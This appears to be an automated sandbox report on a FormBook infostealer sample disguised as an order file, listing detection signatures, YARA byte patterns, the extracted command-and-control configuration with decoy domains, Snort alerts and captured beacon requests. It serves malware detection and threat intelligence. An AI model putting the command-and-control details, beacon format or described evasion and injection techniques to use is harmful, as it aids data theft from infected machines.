Play interactive tour

Edit tour

Analysis Report NEW ORDER SOR 10531220.exe

Overview

General Information

Sample Name:	NEW ORDER SOR 10531220.exe
Analysis ID:	411847
MD5:	2e2de2014ccb06fea1b50414f5e301e6
SHA1:	b571217f877106966f056526c0fdb0068ebfcbff
SHA256:	f8ca257b6bbb8a0b617611a8ddb0068f056f3dc38eb525495978632b03964380
Tags:	exeFormbook
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Uses netsh to modify the Windows network and firewall settings

Antivirus or Machine Learning detection for unpacked file

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

NEW ORDER SOR 10531220.exe (PID: 3756 cmdline: 'C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe' MD5: 2E2DE2014CCB06FEA1B50414F5E301E6)

NEW ORDER SOR 10531220.exe (PID: 6164 cmdline: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe MD5: 2E2DE2014CCB06FEA1B50414F5E301E6)

NEW ORDER SOR 10531220.exe (PID: 6176 cmdline: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe MD5: 2E2DE2014CCB06FEA1B50414F5E301E6)

explorer.exe (PID: 3472 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

netsh.exe (PID: 7088 cmdline: C:\Windows\SysWOW64\netsh.exe MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

cmd.exe (PID: 3552 cmdline: /c del 'C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.magnumopuspro.com/nyr/"], "decoy": ["anemone-vintage.com", "ironcitytools.com", "joshandmatthew.com", "breathtakingscenery.photos", "karabakh-terror.com", "micahelgall.com", "entretiendesterrasses.com", "mhgholdings.com", "blewm.com", "sidewalknotary.com", "ytrs-elec.com", "danhpham.com", "ma21cle2henz.xyz", "lotusforlease.com", "shipleyphotoandfilm.com", "bulktool.xyz", "ouedzmala.com", "yichengvpr.com", "connectmygames.com", "chjcsc.com", "dope-chocolate.com", "tacowench.com", "projectsbay.com", "xn--pgboc92d.com", "royaldropofoil.com", "ranguanglian.club", "mobilne-kucice.com", "buytsycon.com", "goiasbets.net", "blpetroleum.com", "starrealms.net", "exclusiveflooringcollection.com", "kudalive.com", "tienda-sky.com", "drillinginsider.info", "theglasshousenyc.com", "vietnammoi.xyz", "walterbenicio.com", "zoomtvliveshows.xyz", "boujiehoodbaby.com", "yzyangyu.com", "exploreecetera.com", "sycord.com", "waykifood.com", "shadingconsultancy.com", "precedentai.net", "linhanhkitchen.com", "expekt24.com", "socialdating24.com", "lubvim.com", "floryi.com", "alerist.com", "maluss.com", "hitbbq.com", "alerrandrotattoo.com", "algoplayer.com", "idahooutsiders.com", "qygmuakhk.club", "neverpossible.com", "winparadigm.com", "toughdecorative.com", "yourbuildmedia.com", "summercrowd.com", "josemvazquez.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xc95c0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xc983a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x125620:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x12589a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xd535d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1313bd:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xd4e49:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x130ea9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xd545f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1314bf:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xd55d7:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x131637:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xca252:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1262b2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xd40c4:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x130124:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xcaf4b:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x126fab:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xdafff:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x13705f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xdc002:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0xd80e1:$sqlite3step: 68 34 1C 7B E1 0xd81f4:$sqlite3step: 68 34 1C 7B E1 0x134141:$sqlite3step: 68 34 1C 7B E1 0x134254:$sqlite3step: 68 34 1C 7B E1 0xd8110:$sqlite3text: 68 38 2A 90 C5 0xd8235:$sqlite3text: 68 38 2A 90 C5 0x134170:$sqlite3text: 68 38 2A 90 C5 0x134295:$sqlite3text: 68 38 2A 90 C5 0xd8123:$sqlite3blob: 68 53 D8 7F 8C 0xd824b:$sqlite3blob: 68 53 D8 7F 8C 0x134183:$sqlite3blob: 68 53 D8 7F 8C 0x1342ab:$sqlite3blob: 68 53 D8 7F 8C
0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: NEW ORDER SOR 10531220.exe PID: 3756	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17609:$sqlite3step: 68 34 1C 7B E1 0x1771c:$sqlite3step: 68 34 1C 7B E1 0x17638:$sqlite3text: 68 38 2A 90 C5 0x1775d:$sqlite3text: 68 38 2A 90 C5 0x1764b:$sqlite3blob: 68 53 D8 7F 8C 0x17773:$sqlite3blob: 68 53 D8 7F 8C
3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18409:$sqlite3step: 68 34 1C 7B E1 0x1851c:$sqlite3step: 68 34 1C 7B E1 0x18438:$sqlite3text: 68 38 2A 90 C5 0x1855d:$sqlite3text: 68 38 2A 90 C5 0x1844b:$sqlite3blob: 68 53 D8 7F 8C 0x18573:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: www.magnumopuspro.com/nyr/

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.magnumopuspro.com/nyr/"], "decoy": ["anemone-vintage.com", "ironcitytools.com", "joshandmatthew.com", "breathtakingscenery.photos", "karabakh-terror.com", "micahelgall.com", "entretiendesterrasses.com", "mhgholdings.com", "blewm.com", "sidewalknotary.com", "ytrs-elec.com", "danhpham.com", "ma21cle2henz.xyz", "lotusforlease.com", "shipleyphotoandfilm.com", "bulktool.xyz", "ouedzmala.com", "yichengvpr.com", "connectmygames.com", "chjcsc.com", "dope-chocolate.com", "tacowench.com", "projectsbay.com", "xn--pgboc92d.com", "royaldropofoil.com", "ranguanglian.club", "mobilne-kucice.com", "buytsycon.com", "goiasbets.net", "blpetroleum.com", "starrealms.net", "exclusiveflooringcollection.com", "kudalive.com", "tienda-sky.com", "drillinginsider.info", "theglasshousenyc.com", "vietnammoi.xyz", "walterbenicio.com", "zoomtvliveshows.xyz", "boujiehoodbaby.com", "yzyangyu.com", "exploreecetera.com", "sycord.com", "waykifood.com", "shadingconsultancy.com", "precedentai.net", "linhanhkitchen.com", "expekt24.com", "socialdating24.com", "lubvim.com", "floryi.com", "alerist.com", "maluss.com", "hitbbq.com", "alerrandrotattoo.com", "algoplayer.com", "idahooutsiders.com", "qygmuakhk.club", "neverpossible.com", "winparadigm.com", "toughdecorative.com", "yourbuildmedia.com", "summercrowd.com", "josemvazquez.com"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: www.magnumopuspro.com/nyr/

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: NEW ORDER SOR 10531220.exe	Virustotal: Detection: 60%	Perma Link
Source: NEW ORDER SOR 10531220.exe	Metadefender: Detection: 20%	Perma Link
Source: NEW ORDER SOR 10531220.exe	ReversingLabs: Detection: 51%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: NEW ORDER SOR 10531220.exe

Joe Sandbox ML: detected

Source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: NEW ORDER SOR 10531220.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: NEW ORDER SOR 10531220.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: netsh.pdb source: NEW ORDER SOR 10531220.exe, 00000003.00000002.310618621.0000000002E50000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: NEW ORDER SOR 10531220.exe, 00000003.00000002.306018733.00000000010C0000.00000040.00000001.sdmp, netsh.exe, 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp
Source:	Binary string: netsh.pdbGCTL source: NEW ORDER SOR 10531220.exe, 00000003.00000002.310618621.0000000002E50000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: NEW ORDER SOR 10531220.exe, 00000003.00000002.306018733.00000000010C0000.00000040.00000001.sdmp, netsh.exe

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 4x nop then pop esi	3_2_004172F1
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Code function: 4x nop then pop edi	3_2_0040E429
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 4x nop then pop esi	15_2_001872F1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 4x nop then pop edi	15_2_0017E429

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49725 -> 172.255.115.89:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49725 -> 172.255.115.89:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49725 -> 172.255.115.89:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49727 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49727 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49727 -> 34.102.136.180:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.magnumopuspro.com/nyr/

Source: global traffic	HTTP traffic detected: GET /nyr/?hRXX=pvzb7SsULo7Y2vRo6lGAqy8tja7/7li767PDw0IqJEj7KBKEBSl8rkLevIquA9l06aH5&VBZDH=6l68xBo0LhJD2lv HTTP/1.1Host: www.chjcsc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /nyr/?VBZDH=6l68xBo0LhJD2lv&hRXX=17hAXKnq4LEoTdb/hcwwVfWjS4IYRgMdOmXX52SprwB/nueYqi9a5dgIoxBN3QmuetP3 HTTP/1.1Host: www.theglasshousenyc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

ASN Name: LEASEWEB-USA-SFO-12US LEASEWEB-USA-SFO-12US

Source: global traffic	HTTP traffic detected: GET /nyr/?hRXX=pvzb7SsULo7Y2vRo6lGAqy8tja7/7li767PDw0IqJEj7KBKEBSl8rkLevIquA9l06aH5&VBZDH=6l68xBo0LhJD2lv HTTP/1.1Host: www.chjcsc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /nyr/?VBZDH=6l68xBo0LhJD2lv&hRXX=17hAXKnq4LEoTdb/hcwwVfWjS4IYRgMdOmXX52SprwB/nueYqi9a5dgIoxBN3QmuetP3 HTTP/1.1Host: www.theglasshousenyc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.socialdating24.com

Source: NEW ORDER SOR 10531220.exe	String found in binary or memory: Http://google.com.br
Source: NEW ORDER SOR 10531220.exe	String found in binary or memory: Http://google.com.bre45766964656E6365557067726164654C6F636B486F6C646572%4A6535325178727349
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: NEW ORDER SOR 10531220.exe, 00000000.00000002.244487250.0000000002EE1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
